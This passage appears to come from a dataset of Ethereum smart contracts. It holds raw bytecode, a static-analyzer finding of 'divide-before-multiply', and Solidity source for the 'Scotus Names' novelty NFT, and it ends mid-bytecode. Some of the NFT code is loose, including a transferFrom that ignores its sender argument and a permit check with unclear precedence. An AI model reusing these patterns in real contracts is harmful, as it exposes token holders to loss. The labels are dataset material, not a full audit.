this, _amount); Transfer(this, _target, _amount); } }
0x6060604052600436106101ed5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146101f7578063095ea7b3146102815780630c3e564a146102b75780630ea7c8cd1461030857806318160ddd1461032a5780632111c0f91461034f57806323b872dd146103b1578063313ce567146103d957806334d05b1f146103ec5780633ccfd60b1461041757806340c10f191461042a57806342966c681461044c578063440991bd1461046257806355d8bbd51461047557806359287ce914610488578063679019ba146104a157806370a082311461057757806377dd8ea7146105965780637d4ce874146105a95780638456cb59146105bc57806388c7e397146105cf57806395d89b41146105e25780639754a7d8146105f5578063984809bf146106085780639aea020b146106215780639b19251a14610634578063a9059cbb14610653578063b885d56014610675578063be9a655514610704578063cb60f8b414610717578063cd4217c11461072a578063d0febe4c146101ed578063d70b634214610749578063d85bd5261461075c578063dd62ed3e1461076f578063e28a5e6314610794578063e73140c1146107a7578063edac985b146107c3578063f2fde38b14610812578063fd12c1cb14610831575b6101f5610844565b005b341561020257600080fd5b61020a61099f565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561024657808201518382015260200161022e565b50505050905090810190601f1680156102735780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561028c57600080fd5b6102a3600160a060020a03600435166024356109d6565b604051901515815260200160405180910390f35b34156102c257600080fd5b6101f560046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437509496505093359350610a9492505050565b341561031357600080fd5b6101f5600160a060020a0360043516602435610b01565b341561033557600080fd5b61033d610c44565b60405190815260200160405180910390f35b341561035a57600080fd5b6101f56004602481358181019083013580602081810201604051908101604052809392919081815260200183836020028082843750949650508435946020810135945060408101359350606001359150610c4a9050565b34156103bc57600080fd5b6102a3600160a060020a0360043581169060243516604435610cbc565b34156103e457600080fd5b61033d610e3a565b34156103f757600080fd5b6101f5600160a060020a0360043516602435604435606435608435610e3f565b341561042257600080fd5b6101f5611105565b341561043557600080fd5b6101f5600160a060020a03600435166024356111b7565b341561045757600080fd5b6101f56004356112af565b341561046d57600080fd5b61033d61139a565b341561048057600080fd5b6101f56113a0565b341561049357600080fd5b6101f560043560243561143e565b34156104ac57600080fd5b6101f5600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437509496505084359460200135935061146a92505050565b341561058257600080fd5b61033d600160a060020a036004351661151a565b34156105a157600080fd5b61033d611535565b34156105b457600080fd5b61033d61153b565b34156105c757600080fd5b6101f5611541565b34156105da57600080fd5b6102a36115ab565b34156105ed57600080fd5b61020a6115b9565b341561060057600080fd5b6101f56115f0565b341561061357600080fd5b6101f560043560243561168d565b341561062c57600080fd5b61033d6116b9565b341561063f57600080fd5b6102a3600160a060020a03600435166116bf565b341561065e57600080fd5b6102a3600160a060020a03600435166024356116d4565b341561068057600080fd5b6101f56004602481358181019083013580602081810201604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437509496506117f095505050505050565b341561070f57600080fd5b6101f5611883565b341561072257600080fd5b61033d6118ef565b341561073557600080fd5b61033d600160a060020a03600435166118f5565b341561075457600080fd5b61033d611973565b341561076757600080fd5b6102a3611979565b341561077a57600080fd5b61033d600160a060020a0360043581169060243516611982565b341561079f57600080fd5b61033d6119ad565b34156107b257600080fd5b6101f56004356024356044356119b3565b34156107ce57600080fd5b6101f560046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437509496506119e295505050505050565b341561081d57600080fd5b6101f5600160a060020a0360043516611ab9565b341561083c57600080fd5b61033d611b1c565b600b546000908190819060ff16151561085c57600080fd5b600b54610100900460ff16801561087557506005544210155b801561088357506007544211155b151561088e57600080fd5b600160a060020a0333166000908152600d602052604090205460ff1615156001146108b857600080fd5b349250339150600160a060020a038216158015906108d857506003548310155b80156108e657506004548311155b15156108f157600080fd5b600454600160a060020a0383166000908152600e6020526040902054610918908590611b22565b111561092357600080fd5b600090506006544211156109445761093d34600a54611b38565b9050610953565b61095034600954611b38565b90505b600160a060020a0382166000908152600e6020526040902054610977908490611b22565b600160a060020a0383166000908152600e602052604090205561099a8282610b01565b505050565b60408051908101604052600a81527f464e4b4f53546f6b656e00000000000000000000000000000000000000000000602082015281565b600b5460009060ff1615156109ea57600080fd5b8115801590610a1d5750600160a060020a033381166000908152600c602090815260408083209387168352929052205415155b15610a2a57506000610a8e565b600160a060020a033381166000818152600c6020908152604080832094881680845294909152908190208590557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a35060015b92915050565b600b5460009033600160a060020a03908116620100009092041614610ab857600080fd5b60ff83511115610ac757600080fd5b5060005b82518160ff16101561099a57610af9838260ff1681518110610ae957fe5b9060200190602002015183610b01565b600101610acb565b600b5433600160a060020a03908116620100009092041614610b2257600080fd5b600b54600160a060020a0383811662010000909204161415610b4357600080fd5b60008111610b5057600080fd5b600b54620100009004600160a060020a03166000908152600f602052604090205481901015610b7e57600080fd5b600154811015610b8d57600054025b600b54620100009004600160a060020a03166000908152600f6020526040902054610bb89082611b5c565b600b54600160a060020a036201000090910481166000908152600f60205260408082209390935590841681522054610bf09082611b22565b600160a060020a038084166000818152600f60205260409081902093909355600b5490926201000090910490911690600080516020611be98339815191529084905190815260200160405180910390a35050565b60025481565b600b5460009033600160a060020a03908116620100009092041614610c6e57600080fd5b60ff86511115610c7d57600080fd5b5060005b8551811015610cb457610cac868281518110610c9957fe5b9060200190602002015186868686610e3f565b600101610c81565b505050505050565b600b5460009060ff161515610cd057600080fd5b60606064361015610cdd57fe5b600160a060020a0384161515610cf257600080fd5b600160a060020a0385166000908152600f6020526040902054831115610d1757600080fd5b600160a060020a038086166000908152600c602090815260408083203390941683529290522054831115610d4a57600080fd5b600160a060020a0385166000908152600f6020526040902054610d6d9084611b5c565b600160a060020a038087166000908152600f6020908152604080832094909455600c8152838220339093168252919091522054610daa9084611b5c565b600160a060020a038087166000908152600c6020908152604080832033851684528252808320949094559187168152600f9091522054610dea9084611b22565b600160a060020a038086166000818152600f602052604090819020939093559190871690600080516020611be98339815191529086905190815260200160405180910390a3506001949350505050565b601281565b600080610e4a611b6e565b610e52611b6e565b600b54600090819033600160a060020a03908116620100009092041614610e7857600080fd5b600b54600160a060020a038c811662010000909204161415610e9957600080fd5b60008811610ea657600080fd5b8789811515610eb157fe5b049550600f60008c600160a060020a0316600160a060020a03168152602001908152602001600020945087604051805910610ee95750595b9080825280602002602001820160405250935087604051805910610f0a5750595b908082528060200260200182016040525092506001548a1015610f3857600054998a02999889029895909502945b600b54620100009004600160a060020a03166000908152600f60205260409020548a9011610f6557600080fd5b889150861515610f7757600854420196505b5060005b60018803811015610fd05785848281518110610f9357fe5b6020908102909101015286838281518110610faa57fe5b602090810290910101526008549690960195610fc68287611b5c565b9150600101610f7b565b81848281518110610fdd57fe5b6020908102909101015286838281518110610ff457fe5b60209081029091010152845461100a908b611b22565b855560018501848051611021929160200190611b80565b5060028501838051611037929160200190611b80565b50600b54620100009004600160a060020a03166000908152600f6020526040902054611063908b611b5c565b600b8054600160a060020a03620100009182900481166000908152600f6020526040908190209490945591548e83169391900490911690600080516020611be9833981519152908d905190815260200160405180910390a38a600160a060020a03167ff97a274face0b5517365ad396b1fdba6f68bd3135ef603e44272adba3af5a1e08a60405190815260200160405180910390a25050505050505050505050565b600b5433600160a060020a0390811662010000909204161461112657600080fd5b6000600160a060020a033016311161113d57600080fd5b600b54600160a060020a036201000090910481169030163180156108fc0290604051600060405180830381858888f19350505050151561117c57600080fd5b600b54600160a060020a03620100009091048116903016600080516020611be9833981519152813160405190815260200160405180910390a3565b600b5433600160a060020a039081166201000090920416146111d857600080fd5b600160a060020a03821615156111fd57600b54620100009004600160a060020a031691505b600160a060020a0382166000908152600f60205260409020546112209082611b22565b600160a060020a0383166000908152600f60205260409020556002546112469082611b22565b600255600160a060020a0330166000600080516020611be98339815191528360405190815260200160405180910390a381600160a060020a031630600160a060020a0316600080516020611be98339815191528360405190815260200160405180910390a35050565b600b5460009033600160a060020a039081166201000090920416146112d357600080fd5b600160a060020a0333166000908152600f60205260409020548211156112f857600080fd5b5033600160a060020a0381166000908152600f602052604090205461131d9083611b5c565b600160a060020a0382166000908152600f60205260409020556002546113439083611b5c565b60028190556000549081151561135557fe5b04600155600160a060020a0381167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a25050565b60085481565b600b5433600160a060020a039081166201000090920416146113c157600080fd5b600b54610100900460ff1615806113d9575060055442105b806113e5575060075442115b15156113f057600080fd5b600b5460ff16151561140157600080fd5b600b805461ff0019166101001790557fd5b089eb0ec44264fc274d9a4adaafa6bfe78bdbeaf4b128d6871d5314057c5660405160405180910390a1565b600b5433600160a060020a0390811662010000909204161461145f57600080fd5b600991909155600a55565b600b5460009033600160a060020a0390811662010000909204161461148e57600080fd5b60ff8651111561149d57600080fd5b84518651146114ab57600080fd5b83518651146114b957600080fd5b5060005b8551811015610cb4576115128682815181106114d557fe5b906020019060200201518683815181106114eb57fe5b9060200190602002015186848151811061150157fe5b906020019060200201518686610e3f565b6001016114bd565b600160a060020a03166000908152600f602052604090205490565b60095481565b60045481565b600b5433600160a060020a0390811662010000909204161461156257600080fd5b600b5460ff16151561157357600080fd5b600b805460ff191690557f24faf5703cd024754e538120a7237535f1ea01677015f7e32f67be64b66d9dac60405160405180910390a1565b600b54610100900460ff1681565b60408051908101604052600581527f464e4b4f53000000000000000000000000000000000000000000000000000000602082015281565b600b5433600160a060020a0390811662010000909204161461161157600080fd5b600b54610100900460ff16801561162a57506005544210155b801561163857506007544211155b151561164357600080fd5b600b5460ff16151561165457600080fd5b600b805461ff00191690557fb9248e98c8764c68b0d9dd60de677553b9c38a5a521bbb362bb6f5aab6937e8960405160405180910390a1565b600b5433600160a060020a039081166201000090920416146116ae57600080fd5b600391909155600455565b60075481565b600d6020526000908152604090205460ff1681565b600b546000908190819060ff1615156116ec57600080fd5b604060443610156116f957fe5b600160a060020a038616151561170e57600080fd5b611717336118f5565b600160a060020a0333166000908152600f602052604090205490935061173d9084611b5c565b91508185111561174c57600080fd5b600160a060020a0333166000908152600f602052604090205461176f9086611b5c565b600160a060020a033381166000908152600f6020526040808220939093559088168152205461179e9086611b22565b600160a060020a038088166000818152600f60205260409081902093909355913390911690600080516020611be98339815191529088905190815260200160405180910390a350600195945050505050565b600b5460009033600160a060020a0390811662010000909204161461181457600080fd5b60ff8351111561182357600080fd5b815183511461183157600080fd5b5060005b82518160ff16101561099a5761187b838260ff168151811061185357fe5b90602001906020020151838360ff168151811061186c57fe5b90602001906020020151610b01565b600101611835565b600b5433600160a060020a039081166201000090920416146118a457600080fd5b600b5460ff16156118b457600080fd5b600b805460ff191660011790557ff999e0378b31fd060880ceb4bc403bc32de3d1000bee77078a09c7f1d929a51560405160405180910390a1565b60055481565b600160a060020a0381166000908152600f602052604081208142815b6001840154811015611969576002840180548290811061192d57fe5b906000526020600020900154821015611961576001840180548290811061195057fe5b906000526020600020900154830192505b600101611911565b5090949350505050565b60035481565b600b5460ff1681565b600160a060020a039182166000908152600c6020908152604080832093909416825291909152205490565b60065481565b600b5433600160a060020a039081166201000090920416146119d457600080fd5b600592909255600655600755565b600b5460009033600160a060020a03908116620100009092041614611a0657600080fd5b60ff82511115611a1557600080fd5b5060005b81518160ff161015611ab557600d6000838360ff1681518110611a3857fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff161515611aad576001600d6000848460ff1681518110611a7a57fe5b90602001906020020151600160a060020a031681526020810191909152604001600020805460ff19169115159190911790555b600101611a19565b5050565b600b5433600160a060020a03908116620100009092041614611ada57600080fd5b600160a060020a03811615611b1957600b805475ffffffffffffffffffffffffffffffffffffffff0000191662010000600160a060020a038416021790555b50565b600a5481565b600082820183811015611b3157fe5b9392505050565b6000828202831580611b545750828482811515611b5157fe5b04145b1515611b3157fe5b600082821115611b6857fe5b50900390565b60206040519081016040526000815290565b828054828255906000526020600020908101928215611bbb579160200282015b82811115611bbb578251825591602001919060010190611ba0565b50611bc7929150611bcb565b5090565b611be591905b80821115611bc75760008155600101611bd1565b905600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058204872511f7f7c8a4c6b1a3ed6fe5bf58ed87a2eb28d4e29b1a79a3abd754c48620029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
7,216
0xb141bec5a5cc48ed64e8cae6844334c52611107d
// SPDX-License-Identifier: AGPL-3.0-only pragma solidity >=0.8.0; /// @notice Modern and gas efficient ERC-721-like NFT + ERC-20/EIP-2612-like implementation. contract ERC721like { /*/////////////////////////////////////////////////////////////// EVENTS //////////////////////////////////////////////////////////////*/ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed spender, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /*/////////////////////////////////////////////////////////////// METADATA STORAGE //////////////////////////////////////////////////////////////*/ string public name; string public symbol; /*/////////////////////////////////////////////////////////////// ERC-721 STORAGE //////////////////////////////////////////////////////////////*/ uint256 public totalSupply; mapping(address => uint256) public balanceOf; mapping(uint256 => address) public ownerOf; mapping(uint256 => address) public getApproved; mapping(address => mapping(address => bool)) public isApprovedForAll; /*/////////////////////////////////////////////////////////////// PERMIT/EIP-2612-LIKE STORAGE //////////////////////////////////////////////////////////////*/ bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address spender,uint256 tokenId,uint256 nonce,uint256 deadline)"); bytes32 public immutable DOMAIN_SEPARATOR; mapping(address => uint256) public nonces; constructor( string memory _name, string memory _symbol ) { name = _name; symbol = _symbol; DOMAIN_SEPARATOR = keccak256( abi.encode( keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"), keccak256(bytes(name)), keccak256(bytes("1")), block.chainid, address(this) ) ); } /*/////////////////////////////////////////////////////////////// ERC-20-LIKE LOGIC //////////////////////////////////////////////////////////////*/ function transfer(address to, uint256 tokenId) external { require(msg.sender == ownerOf[tokenId], "NOT_OWNER"); // This is safe because ownership is checked // against decrement, and sum of all user // balances can't exceed type(uint256).max! unchecked { balanceOf[msg.sender]--; balanceOf[to]++; } delete getApproved[tokenId]; ownerOf[tokenId] = to; emit Transfer(msg.sender, to, tokenId); } /*/////////////////////////////////////////////////////////////// ERC-721 LOGIC //////////////////////////////////////////////////////////////*/ function supportsInterface(bytes4 interfaceId) external pure returns (bool supported) { supported = interfaceId == 0x80ac58cd || interfaceId == 0x5b5e139f; } function approve(address spender, uint256 tokenId) external { address owner = ownerOf[tokenId]; require(msg.sender == owner || isApprovedForAll[owner][msg.sender], "NOT_APPROVED"); getApproved[tokenId] = spender; emit Approval(owner, spender, tokenId); } function setApprovalForAll(address operator, bool approved) external { isApprovedForAll[msg.sender][operator] = approved; emit ApprovalForAll(msg.sender, operator, approved); } function transferFrom(address, address to, uint256 tokenId) public { address owner = ownerOf[tokenId]; require( msg.sender == owner || msg.sender == getApproved[tokenId] || isApprovedForAll[owner][msg.sender], "NOT_APPROVED" ); // This is safe because ownership is checked // against decrement, and sum of all user // balances can't exceed type(uint256).max! unchecked { balanceOf[owner]--; balanceOf[to]++; } delete getApproved[tokenId]; ownerOf[tokenId] = to; emit Transfer(owner, to, tokenId); } function safetransferFrom(address, address to, uint256 tokenId) external { safetransferFrom(address(0), to, tokenId, ""); } function safetransferFrom(address, address to, uint256 tokenId, bytes memory data) public { transferFrom(address(0), to, tokenId); if (to.code.length != 0) { // selector = `onERC721Received(address,address,uint,bytes)` (, bytes memory returned) = to.staticcall(abi.encodeWithSelector(0x150b7a02, msg.sender, address(0), tokenId, data)); bytes4 selector = abi.decode(returned, (bytes4)); require(selector == 0x150b7a02, "NOT_ERC721_RECEIVER"); } } /*/////////////////////////////////////////////////////////////// PERMIT/EIP-2612-LIKE LOGIC //////////////////////////////////////////////////////////////*/ function permit( address spender, uint256 tokenId, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external { require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED"); address owner = ownerOf[tokenId]; bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR, keccak256(abi.encode(PERMIT_TYPEHASH, spender, tokenId, nonces[owner]++, deadline)) ) ); address recoveredAddress = ecrecover(digest, v, r, s); require(recoveredAddress != address(0) && recoveredAddress == owner || isApprovedForAll[owner][recoveredAddress], "INVALID_PERMIT_SIGNATURE" ); getApproved[tokenId] = spender; emit Approval(owner, spender, tokenId); } /*/////////////////////////////////////////////////////////////// INTERNAL UTILS //////////////////////////////////////////////////////////////*/ function _mint(address to, uint256 tokenId) internal { // This is safe because the sum of all user // balances can't exceed type(uint256).max! unchecked { balanceOf[to]++; } ownerOf[tokenId] = to; emit Transfer(address(0), to, tokenId); } } /** * @title Scotus Names * @dev {ERC721} token built on Solmate (licensed under AGPL-3), Loot & Stage Names (licensed under MIT), including: * - open, free token minting (creation) * - URI autogeneration from svg * - general legal engineering dopeness */ contract ScotusNames is ERC721like("Scotus Names", "SCOTUS") { string[] moji = [ unicode"😀", unicode"🤣", unicode"😇", unicode"😜", unicode"🤪", unicode"🤭", unicode"🤐", unicode"😬", unicode"😏", unicode"😌", unicode"😷", unicode"🤒", unicode"🤯", unicode"🤠", unicode"🥳", unicode"😎", unicode"🤓", unicode"🧐", unicode"😲", unicode"🥱", unicode"😈", unicode"😶", unicode"🤨", unicode"🤔", unicode"🤧" ]; string[] firstName = [ "Bittah", "Tha", "Mad", "Master", "Dynamic", "E-ratic", "Wack", "Fearless", "Misunderstood", "Quiet", "Pesky", "Gentlemen", "Profound", "Respected", "Auteur", "Shriekin'", "Lucky", "Phantom", "Smilin'", "Thunderous", "Tuff", "Scratchin'", "Dope", "X-cessive", "X-pert", "Zexy", "Ruff", "Intellectual", "Unlucky", "Vizual", "Frenly", "Midnight", "Mighty", "Based", "Vamped", "Fiery", "Stoked", "Wholesome", "B-loved", "Sarkastik", "Glowing", "Irate", "Wicked", "Surly", "Amazing" ]; string[] lastName = [ "Roberts", "Thomas", "Breyer", "Alito", "Sotomayor", "Kagan", "Gorsuch", "Kavanaugh", "Barrett" ]; string[] superPower = [ "with power of Estoppel", "with power of Subpoena", "with power of Affidavit", "with power of Laches", "with power of Amendment", "with power of Livery of Seisin", "with power of Appeal", "with power of Jurisdiction", "with power of Discretion", "with power of Immunity", "with power of Abjudication", "with power of Abjuration", "with power of Damages", "with power of Preclusion", "with power of Res Judicata", "with power of Ejusdem Generis", "with power of Bird Law", "with power of Finding of Fact", "with power of Quasi in Rem", "with power of Quantum Meruit" ]; string[] robeColor = [ "in White Robes", "in White Robes", "in Black Robes", "in Black Robes", "in Purple Robes", "in Purple Robes", "in Red Robes", "in Red Robes", "in Pink Robes", "in Yellow Robes" ]; function random(string memory input) private pure returns (uint256 rand) { rand = uint256(keccak256(abi.encodePacked(input))); } function getMoji(uint256 tokenId) public view returns (string memory moj) { moj = pluck(tokenId, "MOJI", moji); } function getFirstName(uint256 tokenId) public view returns (string memory first) { first = pluck(tokenId, "FIRST", firstName); } function getLastName(uint256 tokenId) public view returns (string memory last) { last = pluck(tokenId, "LAST", lastName); } function getSuperPower(uint256 tokenId) public view returns (string memory power) { power = pluck(tokenId, "POWER", superPower); } function getRobeColor(uint256 tokenId) public view returns (string memory color) { color = pluck(tokenId, "COLOR", robeColor); } function pluck(uint256 tokenId, string memory keyPrefix, string[] memory sourceArray) private pure returns (string memory output) { uint256 rand = random(string(abi.encodePacked(keyPrefix, toString(tokenId)))); output = sourceArray[rand % sourceArray.length]; } function tokenURI(uint256 tokenId) external view returns (string memory output) { string[11] memory parts; parts[0] = '<svg xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="xMinYMin meet" viewBox="0 0 350 350"><style>.base { fill: yellow; font-family: lobster; font-size: 24px; }</style><rect width="100%" height="100%" fill="orchid" /><text x="300" y="90" class="base">'; parts[1] = getMoji(tokenId); parts[2] = '</text><text x="10" y="180" class="base">'; parts[3] = getFirstName(tokenId); parts[4] = '</text><text x="10" y="210" class="base">'; parts[5] = getLastName(tokenId); parts[6] = '</text><text x="10" y="270" class="base">'; parts[7] = getSuperPower(tokenId); parts[8] = '</text><text x="10" y="300" class="base">'; parts[9] = getRobeColor(tokenId); parts[10] = '</text></svg>'; output = string(abi.encodePacked(parts[0], parts[1], parts[2], parts[3], parts[4], parts[5], parts[6], parts[7], parts[8])); output = string(abi.encodePacked(output, parts[9], parts[10])); string memory json = Base64.encode(bytes(string(abi.encodePacked( '{"name": "SCOTUS #', toString(tokenId), '", "description": "Scotus Names are random onchain SCOTUS names based on Stage Names/Loot.", "attributes": [{"trait_type": "First Name","value": "', getFirstName(tokenId), '"}, {"trait_type": "Last Name","value": "', getLastName(tokenId), '"}, {"trait_type": "Super Power","value": "', getSuperPower(tokenId), '"}, {"trait_type": "Robe Color","value": "', getRobeColor(tokenId), '"}], "image": "data:image/svg+xml;base64,', Base64.encode(bytes(output)), '"}')))); output = string(abi.encodePacked('data:application/json;base64,', json)); } function claim() external { totalSupply++; uint256 tokenId = totalSupply; require(tokenId < 421, "MAXED"); _mint(msg.sender, tokenId); } function toString(uint256 value) private pure returns (string memory output) { // @dev Inspired by OraclizeAPI's implementation - MIT license - // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol. if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } } /// [MIT License] /// @title Base64 /// @notice Provides a function for encoding some bytes in base64 /// @author Brecht Devos <brecht@loopring.org> library Base64 { bytes internal constant TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; /// @notice Encodes some bytes to the base64 representation function encode(bytes memory data) internal pure returns (string memory) { uint256 len = data.length; if (len == 0) return ""; // multiply by 4/3 rounded up uint256 encodedLen = 4 * ((len + 2) / 3); // Add some extra buffer at the end bytes memory result = new bytes(encodedLen + 32); bytes memory table = TABLE; assembly { let tablePtr := add(table, 1) let resultPtr := add(result, 32) for { let i := 0 } lt(i, len) { } { i := add(i, 3) let input := and(mload(add(data, i)), 0xffffff) let out := mload(add(tablePtr, and(shr(18, input), 0x3F))) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(shr(12, input), 0x3F))), 0xFF)) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(shr(6, input), 0x3F))), 0xFF)) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(input, 0x3F))), 0xFF)) out := shl(224, out) mstore(resultPtr, out) resultPtr := add(resultPtr, 4) } switch mod(len, 3) case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) } case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) } mstore(result, encodedLen) } return string(result); } }
0x608060405234801561001057600080fd5b50600436106101a35760003560e01c80635ec7b353116100ee57806395d89b4111610097578063c87b56dd11610071578063c87b56dd146103eb578063c9181325146103fe578063e985e9c514610411578063f58b56a91461043f57600080fd5b806395d89b41146103bd578063a22cb465146103c5578063a9059cbb146103d857600080fd5b80637ac2ff7b116100c85780637ac2ff7b146103775780637ecebe001461038a57806390a07734146103aa57600080fd5b80635ec7b3531461030e5780636352211e1461032157806370a082311461035757600080fd5b806318160ddd1161015057806330adf81f1161012a57806330adf81f146102b85780633644e515146102df5780634e71d92d1461030657600080fd5b806318160ddd1461027b57806323b872dd1461029257806323dd488d146102a557600080fd5b8063095ea7b311610181578063095ea7b314610240578063172a56c114610255578063174029f61461026857600080fd5b806301ffc9a7146101a857806306fdde03146101d0578063081812fc146101e5575b600080fd5b6101bb6101b6366004611f53565b610452565b60405190151581526020015b60405180910390f35b6101d86104eb565b6040516101c7919061249e565b61021b6101f3366004611f8d565b60056020526000908152604090205473ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016101c7565b61025361024e366004611ec9565b610579565b005b6101d8610263366004611f8d565b6106c8565b6101d8610276366004611f8d565b6107db565b61028460025481565b6040519081526020016101c7565b6102536102a0366004611d57565b6108e5565b6101d86102b3366004611f8d565b610aaf565b6102847f49ecf333e5b8c95c40fdafc95c1ad136e8914a8fb55e9dc8bb01eaa83a2df9ad81565b6102847fcf869fb7c0effa1f8cdf16fd052478e85074753feb06aca1a3db1e154e285b0981565b610253610bb9565b61025361031c366004611d57565b610c49565b61021b61032f366004611f8d565b60046020526000908152604090205473ffffffffffffffffffffffffffffffffffffffff1681565b610284610365366004611d02565b60036020526000908152604090205481565b610253610385366004611ef3565b610c6a565b610284610398366004611d02565b60076020526000908152604090205481565b6101d86103b8366004611f8d565b611027565b6101d8611131565b6102536103d3366004611e8d565b61113e565b6102536103e6366004611ec9565b6111d5565b6101d86103f9366004611f8d565b61132f565b61025361040c366004611d93565b611590565b6101bb61041f366004611d24565b600660209081526000928352604080842090915290825290205460ff1681565b6101d861044d366004611f8d565b61174d565b60007f80ac58cd000000000000000000000000000000000000000000000000000000007fffffffff00000000000000000000000000000000000000000000000000000000831614806104e557507f5b5e139f000000000000000000000000000000000000000000000000000000007fffffffff000000000000000000000000000000000000000000000000000000008316145b92915050565b600080546104f89061255d565b80601f01602080910402602001604051908101604052809291908181526020018280546105249061255d565b80156105715780601f1061054657610100808354040283529160200191610571565b820191906000526020600020905b81548152906001019060200180831161055457829003601f168201915b505050505081565b60008181526004602052604090205473ffffffffffffffffffffffffffffffffffffffff16338114806105dc575073ffffffffffffffffffffffffffffffffffffffff8116600090815260066020908152604080832033845290915290205460ff165b610647576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f4e4f545f415050524f564544000000000000000000000000000000000000000060448201526064015b60405180910390fd5b60008281526005602052604080822080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff87811691821790925591518593918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050565b60606104e5826040518060400160405280600581526020017f46495253540000000000000000000000000000000000000000000000000000008152506009805480602002602001604051908101604052809291908181526020016000905b828210156107d25783829060005260206000200180546107459061255d565b80601f01602080910402602001604051908101604052809291908181526020018280546107719061255d565b80156107be5780601f10610793576101008083540402835291602001916107be565b820191906000526020600020905b8154815290600101906020018083116107a157829003601f168201915b505050505081526020019060010190610726565b50505050611857565b60606104e5826040518060400160405280600481526020017f4c41535400000000000000000000000000000000000000000000000000000000815250600a805480602002602001604051908101604052809291908181526020016000905b828210156107d25783829060005260206000200180546108589061255d565b80601f01602080910402602001604051908101604052809291908181526020018280546108849061255d565b80156108d15780601f106108a6576101008083540402835291602001916108d1565b820191906000526020600020905b8154815290600101906020018083116108b457829003601f168201915b505050505081526020019060010190610839565b60008181526004602052604090205473ffffffffffffffffffffffffffffffffffffffff163381148061093b575060008281526005602052604090205473ffffffffffffffffffffffffffffffffffffffff1633145b80610976575073ffffffffffffffffffffffffffffffffffffffff8116600090815260066020908152604080832033845290915290205460ff165b6109dc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f4e4f545f415050524f5645440000000000000000000000000000000000000000604482015260640161063e565b73ffffffffffffffffffffffffffffffffffffffff808216600081815260036020908152604080832080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff019055938716808352848320805460010190558683526005825284832080547fffffffffffffffffffffffff00000000000000000000000000000000000000009081169091556004909252848320805490921681179091559251859392917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a450505050565b60606104e5826040518060400160405280600581526020017f504f574552000000000000000000000000000000000000000000000000000000815250600b805480602002602001604051908101604052809291908181526020016000905b828210156107d2578382906000526020600020018054610b2c9061255d565b80601f0160208091040260200160405190810160405280929190818152602001828054610b589061255d565b8015610ba55780601f10610b7a57610100808354040283529160200191610ba5565b820191906000526020600020905b815481529060010190602001808311610b8857829003601f168201915b505050505081526020019060010190610b0d565b60028054906000610bc9836125b1565b90915550506002546101a58110610c3c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600560248201527f4d41584544000000000000000000000000000000000000000000000000000000604482015260640161063e565b610c4633826118bf565b50565b610c656000838360405180602001604052806000815250611590565b505050565b42841015610cd4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f5045524d49545f444541444c494e455f45585049524544000000000000000000604482015260640161063e565b60008581526004602090815260408083205473ffffffffffffffffffffffffffffffffffffffff168084526007909252822080549192917fcf869fb7c0effa1f8cdf16fd052478e85074753feb06aca1a3db1e154e285b09917f49ecf333e5b8c95c40fdafc95c1ad136e8914a8fb55e9dc8bb01eaa83a2df9ad918b918b919086610d5e836125b1565b9091555060408051602081019590955273ffffffffffffffffffffffffffffffffffffffff909316928401929092526060830152608082015260a0810188905260c00160405160208183030381529060405280519060200120604051602001610df99291907f190100000000000000000000000000000000000000000000000000000000000081526002810192909252602282015260420190565b604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181528282528051602091820120600080855291840180845281905260ff89169284019290925260608301879052608083018690529092509060019060a0016020604051602081039080840390855afa158015610e82573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffff